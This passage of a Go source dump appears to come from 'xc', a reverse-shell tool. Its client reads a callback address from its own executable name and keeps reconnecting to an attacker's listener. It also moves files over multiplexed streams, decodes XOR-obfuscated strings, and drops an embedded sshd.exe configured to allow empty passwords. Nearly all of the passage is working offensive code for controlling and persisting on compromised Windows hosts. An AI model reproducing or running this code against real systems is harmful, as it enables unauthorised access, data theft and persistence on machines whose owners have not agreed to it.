log.Println(err.Error()) 247 | return 248 | } 249 | username := strings.Split(user.Username, "\\")[1] 250 | 251 | for _, f := range []string{hostDsaFile,hostRsaFile,hostRsaPubFile,hostDsaPubFile,pidFile,authKeyFile} { 252 | path := fmt.Sprintf("%s", f) 253 | ExecSilent(fmt.Sprintf("icacls %s /grant:r %s:f /inheritance:r", path, username), c) 254 | } 255 | 256 | config := "" 257 | config += fmt.Sprintf("Port %d\n", port) 258 | config += "ListenAddress 0.0.0.0\n" 259 | config += fmt.Sprintf("HostKey %s\n", hostRsaFile) 260 | config += fmt.Sprintf("HostKey %s\n", hostDsaFile) 261 | config += "PubkeyAuthentication yes\n" 262 | config += fmt.Sprintf("AuthorizedKeysFile %s\n", authKeyFile) 263 | config += "PasswordAuthentication yes\n" 264 | config += "PermitEmptyPasswords yes\n" 265 | config += "GatewayPorts yes\n" 266 | config += fmt.Sprintf("PidFile %s\n", pidFile) 267 | config += "Subsystem sftp sftp-server.exe\n" 268 | config += "Match Group administrators\n" 269 | config += fmt.Sprintf("\tAuthorizedKeysFile %s\n", authKeyFile) 270 | 271 | utils.SaveRaw(fmt.Sprintf("%s\\sshd_config", tmpDir), config) 272 | 273 | sshdbin, _ := base64.StdEncoding.DecodeString(sshd) 274 | err = ioutil.WriteFile(fmt.Sprintf("%s\\sshd.exe", tmpDir),sshdbin, 0644) 275 | if err != nil { 276 | log.Println(err) 277 | return 278 | } 279 | c.Write([]byte(fmt.Sprintf("Starting SSH server on port %d\n", port))) 280 | go func() { 281 | for { 282 | // will terminate whenever a user connects and then reconnects 283 | _, err = ExecOut(fmt.Sprintf("%s/sshd.exe -f %s/sshd_config -E %s/log.txt -d", tmpDir, tmpDir, tmpDir)) 284 | if err == nil { 285 | // pass 286 | } else { 287 | //c.Write([]byte("Restarted SSH server\n")) 288 | } 289 | } 290 | }() 291 | } 292 | -------------------------------------------------------------------------------- /utils/utils.go: -------------------------------------------------------------------------------- 1 | package utils 2 | 3 | import ( 4 | "encoding/base64" 5 | "encoding/hex" 6 | "fmt" 7 | "io" 8 | "io/ioutil" 9 | "log" 10 | mr "math/rand" 11 | "net" 12 | "os" 13 | "strings" 14 | 15 | "github.com/hashicorp/yamux" 16 | ) 17 | 18 | // Forward is the port forwarding struct 19 | type Forward struct { 20 | LPort string 21 | RPort string 22 | Addr string 23 | Quit chan bool // quit "signal", sets active to false 24 | Local bool 25 | Active bool 26 | } 27 | 28 | var key = "§key§" 29 | var letters = []rune("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ") 30 | 31 | // Exists ... 32 | func Exists(name string) bool { 33 | _, err := os.Stat(name) 34 | return !os.IsNotExist(err) 35 | } 36 | 37 | // RandSeq ... 38 | func RandSeq(n int) string { 39 | b := make([]rune, n) 40 | for i := range b { 41 | b[i] = letters[mr.Intn(len(letters))] 42 | } 43 | return string(b) 44 | } 45 | 46 | // SplitAddress splits ipv4 or ipv6 address in port and ip part 47 | func SplitAddress(addr string) (string, string) { 48 | ip := "" 49 | port := "" 50 | if strings.Contains(addr, "[") { 51 | // ipv6 52 | s := strings.Split(addr, "]") 53 | ip = s[0] + "]" 54 | port = strings.TrimLeft(s[1], ":") 55 | } else { 56 | // ipv4 57 | s := strings.Split(addr, ":") 58 | ip = s[0] 59 | port = s[1] 60 | } 61 | return ip, port 62 | } 63 | 64 | // Save base64 encoded file to disk 65 | func Save(dst string, data string) bool { 66 | raw, err := base64.StdEncoding.DecodeString(data) 67 | if err != nil { 68 | log.Println(err) 69 | return false 70 | } 71 | err = ioutil.WriteFile(dst, raw, 0644) 72 | if err != nil { 73 | log.Println(err) 74 | return false 75 | } 76 | return true 77 | } 78 | 79 | // SaveRaw ... 80 | func SaveRaw(dst string, data string) bool { 81 | err := ioutil.WriteFile(dst, []byte(data), 0644) 82 | if err != nil { 83 | log.Println(err) 84 | return false 85 | } 86 | return true 87 | } 88 | 89 | // Load file from disk and return base64 encoded representation 90 | func Load(src string) (string, bool) { 91 | data, err := ioutil.ReadFile(src) 92 | if err != nil { 93 | log.Println(err) 94 | return "", false 95 | } 96 | b64 := base64.StdEncoding.EncodeToString(data) 97 | return b64, true 98 | } 99 | 100 | // LoadRaw ... 101 | func LoadRaw(src string) ([]byte, bool) { 102 | data, err := ioutil.ReadFile(src) 103 | if err != nil { 104 | log.Println(err) 105 | return nil, false 106 | } 107 | return data, true 108 | } 109 | 110 | // CopyFile copies a file from a source path to a destination path 111 | func CopyFile(src string, dst string) { 112 | // Read all content of src to data 113 | data, err := ioutil.ReadFile(src) 114 | if err != nil { 115 | log.Println(err) 116 | } 117 | // Write data to dst 118 | err = ioutil.WriteFile(dst, data, 0644) 119 | if err != nil { 120 | log.Println(err) 121 | } 122 | } 123 | 124 | // CopyIO copies data between a io.reader and a io.writer 125 | func CopyIO(src, dest net.Conn) { 126 | defer src.Close() 127 | defer dest.Close() 128 | io.Copy(src, dest) 129 | } 130 | 131 | // UploadConnectRaw is used when the upload does not get stored in a file and is just used for in memory execution 132 | func UploadConnectRaw(s *yamux.Session) ([]byte, error) { 133 | stream, err := s.Open() 134 | if err != nil { 135 | return nil, err 136 | } 137 | defer stream.Close() 138 | line, err := ioutil.ReadAll(stream) 139 | if err != nil { 140 | return nil, err 141 | } 142 | raw, err := base64.StdEncoding.DecodeString(string(line)) 143 | if err != nil { 144 | log.Println(err) 145 | return nil, err 146 | } 147 | return raw, nil 148 | } 149 | 150 | // UploadConnect reads data from the network (b64 encoded) and writes it to a file 151 | func UploadConnect(dst string, s *yamux.Session) { 152 | stream, err := s.Open() 153 | if err != nil { 154 | log.Println(err) 155 | return 156 | } 157 | defer stream.Close() 158 | line, err := ioutil.ReadAll(stream) 159 | if err != nil { 160 | log.Println(err) 161 | return 162 | } 163 | Save(dst, string(line)) 164 | } 165 | 166 | // DownloadConnect reads data from a local file and sends it to the network (b64 encoded) 167 | func DownloadConnect(src string, s *yamux.Session) { 168 | stream, err := s.Open() 169 | if err != nil { 170 | log.Println(err) 171 | return 172 | } 173 | defer stream.Close() 174 | content, _ := Load(src) 175 | stream.Write([]byte(fmt.Sprintf("%s\r\n", content))) 176 | } 177 | 178 | // UploadListen listens on the server/listener side and sends out a local file (b64 encoded) when the next multiplexed connection attempt happens 179 | func UploadListen(src string, s *yamux.Session) { 180 | stream, err := s.Accept() 181 | if err != nil { 182 | log.Println(err) 183 | return 184 | } 185 | defer stream.Close() 186 | content, _ := Load(src) 187 | stream.Write([]byte(fmt.Sprintf("%s\r\n", content))) 188 | } 189 | 190 | // DownloadListen listens on the server/listener side and accepts a remote file (b64 encoded) when the next multiplexed connection attempt happens 191 | func DownloadListen(dst string, s *yamux.Session) { 192 | stream, err := s.Accept() 193 | if err != nil { 194 | log.Println(err) 195 | return 196 | } 197 | defer stream.Close() 198 | line, err := ioutil.ReadAll(stream) 199 | if err != nil { 200 | log.Println(err) 201 | return 202 | } 203 | Save(dst, string(line)) 204 | } 205 | 206 | // ByteToHex ... 207 | func ByteToHex(s []byte) string { 208 | d := make([]byte, hex.DecodedLen(len(s))) 209 | n, err := hex.Decode(d, s) 210 | if err != nil { 211 | fmt.Println(err) 212 | } 213 | return fmt.Sprintf("%s", d[:n]) 214 | } 215 | 216 | func Bake(cipher string) string { 217 | tmp, _ := base64.StdEncoding.DecodeString(cipher) 218 | k, _ := hex.DecodeString(key) 219 | baked := "" 220 | for i := 0; i < len(tmp); i++ { 221 | baked += string(tmp[i] ^ k[i%len(k)]) 222 | } 223 | return baked 224 | } 225 | 226 | func BBake(cipher string) []byte { 227 | tmp, _ := base64.StdEncoding.DecodeString(cipher) 228 | k, _ := hex.DecodeString(key) 229 | baked := make([]byte, hex.DecodedLen(len(tmp))) 230 | for i := 0; i < len(tmp)-1; i++ { 231 | baked[i] = tmp[i] ^ k[i%len(k)] 232 | } 233 | return baked 234 | } 235 | 236 | // RemoveIndex ... 237 | func RemoveIndex(s []int, index int) []int { 238 | return append(s[:index], s[index+1:]...) 239 | } 240 | -------------------------------------------------------------------------------- /xc.go: -------------------------------------------------------------------------------- 1 | // +build go1.15 2 | package main 3 | 4 | import ( 5 | "flag" 6 | "fmt" 7 | "log" 8 | "math/rand" 9 | "net" 10 | "os" 11 | "strings" 12 | "time" 13 | "regexp" 14 | 15 | "./client" 16 | "./server" 17 | "github.com/hashicorp/yamux" 18 | "github.com/libp2p/go-reuseport" 19 | "path/filepath" 20 | 21 | ) 22 | 23 | func usage() { 24 | fmt.Printf("Usage: \n") 25 | fmt.Printf("- Client: xc \n") 26 | fmt.Printf("- Server: xc -l -p \n") 27 | } 28 | 29 | 30 | func main() { 31 | listenPtr := flag.Bool("l", false, "use as server") 32 | portPtr := flag.Int("p", 1337, "port to listen on, default 1337") 33 | flag.Parse() 34 | 35 | rand.Seed(time.Now().UnixNano()) 36 | if *listenPtr { 37 | banner := ` 38 | __ _____ 39 | \ \/ / __| 40 | > < (__ 41 | /_/\_\___| by @xct_de 42 | build: §version§ 43 | ` 44 | fmt.Println(banner) 45 | 46 | // server mode 47 | listener, err := reuseport.Listen("tcp", fmt.Sprintf("0.0.0.0:%d", *portPtr)) 48 | if err != nil { 49 | log.Fatalln("Unable to bind to port") 50 | } 51 | log.Printf("Listening on :%d\n", *portPtr) 52 | 53 | for { 54 | log.Println("Waiting for connections...") 55 | conn, err := listener.Accept() 56 | if err != nil { 57 | log.Println("Unable to accept connection") 58 | continue 59 | } 60 | log.Printf("Connection from %s\n", conn.RemoteAddr().String()) 61 | session, err := yamux.Server(conn, nil) 62 | if err != nil { 63 | log.Println(err) 64 | continue 65 | } 66 | stream, err := session.Accept() 67 | if err != nil { 68 | log.Println(err) 69 | continue 70 | } 71 | log.Printf("Stream established") 72 | server.Run(session, stream) 73 | conn.Close() 74 | } 75 | } else { 76 | // client mode 77 | var ( 78 | ip string 79 | port string 80 | ) 81 | init := false 82 | if flag.NArg() < 2 { 83 | // (thanks @jkr) 84 | name := filepath.Base(os.Args[0]) 85 | parts := strings.Split(name, "_") 86 | if len(parts) == 3 { 87 | ip = parts[1] 88 | // split by first nonnumeric 89 | var re = regexp.MustCompile(`([0-9]*).*`) 90 | port = re.ReplaceAllString(parts[2], `$1`) 91 | fmt.Printf("Detected client arguments from executable name: %s:%s\n", ip, port) 92 | init = true 93 | } else { 94 | usage() 95 | os.Exit(1) 96 | } 97 | } 98 | if !init { 99 | ip = flag.Arg(0) 100 | port = flag.Arg(1) 101 | } 102 | // keep connecting (in case the server is exiting ungracefully we can just restart it and get a connection back) 103 | for { 104 | conn, err := net.Dial("tcp", fmt.Sprintf("%s:%s", ip, port)) 105 | if err != nil { 106 | log.Println("Couldn't connect. Trying again...") 107 | time.Sleep(3000 * time.Millisecond) 108 | continue 109 | } 110 | log.Printf("Connected to %s\n", conn.RemoteAddr().String()) 111 | session, err := yamux.Client(conn, nil) 112 | if err != nil { 113 | log.Fatalln(err) 114 | continue 115 | } 116 | stream, err := session.Open() 117 | if err != nil { 118 | log.Fatalln(err) 119 | continue 120 | } 121 | client.Run(session, stream) 122 | time.Sleep(5000 * time.Millisecond) 123 | } 124 | } 125 | } 126 | --------------------------------------------------------------------------------